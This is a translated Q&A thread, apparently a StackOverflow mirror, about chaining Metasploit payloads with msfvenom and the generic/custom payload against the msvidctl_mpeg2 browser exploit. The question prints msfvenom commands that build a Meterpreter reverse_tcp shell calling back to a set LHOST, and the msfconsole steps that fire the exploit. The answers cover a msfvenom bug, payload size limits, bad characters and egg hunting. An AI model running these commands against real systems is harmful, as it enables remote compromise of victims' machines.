Общая / пользовательская полезная нагрузка Metasploit с мультиплатной загрузкой - PullRequest
0 голосов
/ 28 октября 2011

Я играл с более новой MSF4 (Framework: 4.1.0-release.13988, Console: 4.1.0-release.13581), поддерживающей многопользовательскую загрузку с использованием msfvenom и пользовательской / универсальной полезной нагрузки, но, похоже, есть поле информации о том, что полезная нагрузка поддерживает с точки зрения кодирования и совместимости.

По сути, я смотрю, как можно отключить службу на стороне сервера, а затем послушать счетчика-метра на его больше не связанном порту. (эксплойт может войти в другой порт)

По сути, я создал многоплатную загрузку, используя msfvenom вместе с msgbox и Meterpreter, как exe, raw и .rb. Я попытался оставить настройку кодирования в одиночку и установить для нее значение Нет. (обратите внимание, что пользовательский / универсальный источник полезных данных .rb что-то говорит только о разрешении кодирования None)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw

Я также пробовал с EXITFUNC, установленным в "none":

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw

Затем мне нужно записать необработанную многопользовательскую нагрузку во что-нибудь, что может использовать универсальная / настраиваемая полезная нагрузка: (обратите внимание, я пытался записывать в необработанные, exe, .rb форматы)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw

Наконец-то пришло время попробовать многопользовательскую загрузку с помощью generic / custom: (обратите внимание, что я перезагружал эксплойт каждый раз, прежде чем пытаться установить и использовать)

msf > use exploit/windows/browser/msvidctl_mpeg2
msf  exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

Итак, я нашел объяснение того, что должна означать ошибка «Нет кодировщиков ...». (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions) Я полагаю, что сюда входят полезные данные смещения.

Является ли причиной ошибки полезная нагрузка windows / msgbox, потому что она не подготовлена? Или мультипроцессы не организованы? Если это позже, тогда я не вижу, как многоплатные загрузки будут работать, если они не были организованы. Объединение двух полезных нагрузок, вероятно, будет больше, чем одна полезная нагрузка.

Может кто-нибудь объяснить, по крайней мере, кодировки и форматы, которые должны быть совместимы с полезной нагрузкой общего / полезного груза, чтобы я мог исключить это? Я нашел только несколько ссылок на поддержку многопользовательской загрузки.

Заранее спасибо! Я обещаю ответить, как я получил это, как только я это сделаю.

Ответы [ 2 ]

1 голос
/ 05 января 2012

Извините за поздний ответ.

В MSF 4.1 была ошибка, связанная с msfvenom, а не с общей / пользовательской полезной нагрузкой. Сгенерированные мной полезные данные были определенно меньше допустимых 1024 байта. Вот тема, посвященная этому, где сам HDM предполагает, что это ошибка:

https://community.rapid7.com/thread/1332

И ошибка, которая была зарегистрирована вместе с исправлением для msfvenom:

http://dev.metasploit.com/redmine/issues/4714

Я просто не думаю, что кто-то использовал поддержку нескольких полезных нагрузок. Не смущайтесь моим предыдущим неуклюжим использованием msfvenom. К тому времени, когда я отправил этот вопрос, я был в отчаянии, поэтому я включил в него все, что, как мне казалось, может быть проблема без написания шеллкода. Я был на грани попытки научиться писать тест шелл-кода 2-в-1, когда HDM признал, что это ошибка, и решил пойти другим путем. (Я взял MSF Pro Trial и настроил VPN-разворот для решения моего сценария с несколькими прыжками)

Спасибо за ответ.

1 голос
/ 28 октября 2011

Я думаю, вам было бы полезно разобраться в некоторой динамике эксплойтов и классических стратегиях эксплойтов с ошибками повреждения памяти, прежде чем углубляться в нечто подобное.

Могу ли я предложить Оценка безопасности программного обеспечения или Руководство по кодировщику оболочки

Тем не менее, вот что радует: когда вы «вытесняете» память из-за переполнения буфера, у вас есть ограниченное количество пространства, доступного для вашего эксплойта, прежде чем выпоразить сохраненный фрейм стека и указатель инструкций. Ошибка браузера MPEG2 (которую вы пытаетесь использовать) выделяет 1024 байта в стеке, что, таким образом, является пределом вашей полезной нагрузки, а также завершается стандартной серией (\ x00 \ x09 \ x0a \ x0d , Thats null char, stop, Carriage Return и Line Feed соответственно), что дополнительно ограничивает вас любым шелл-кодом, который не записан с учетом этого.

Metasploitоднако довольно умный, он обычно может макетировать некоторые инструкции с помощью «безопасного» и эксплуатируемого инструкОднако это не всегда возможно из-за несоответствий в наборах команд, взрывах стеков и т. д. Когда полезная нагрузка msfvenom работает с генераторами, ничто не может «работать», и Metasploit выдает вашу ошибку.

Как вы уже догадалисьэто означает, что вам нужно разместить свой шелл-код (ошибочно, я имел в виду полезную нагрузку). Хорошая промежуточная полезная нагрузка обычно может быть искажена и распределена по нескольким ячейкам памяти, и она по-прежнему достаточно гибкая (или повторяющаяся) для автоматического объединения себя назад с использованием техники, называемойохота на яйца, если бы я был на вашем месте, я бы использовал общий обратный bind windows / meterpreter / reverse_tcp , однако, потому что я не верю, что этот конкретный эксплойт смешивает ординалы или что-нибудь в этом роде.

Удачи

...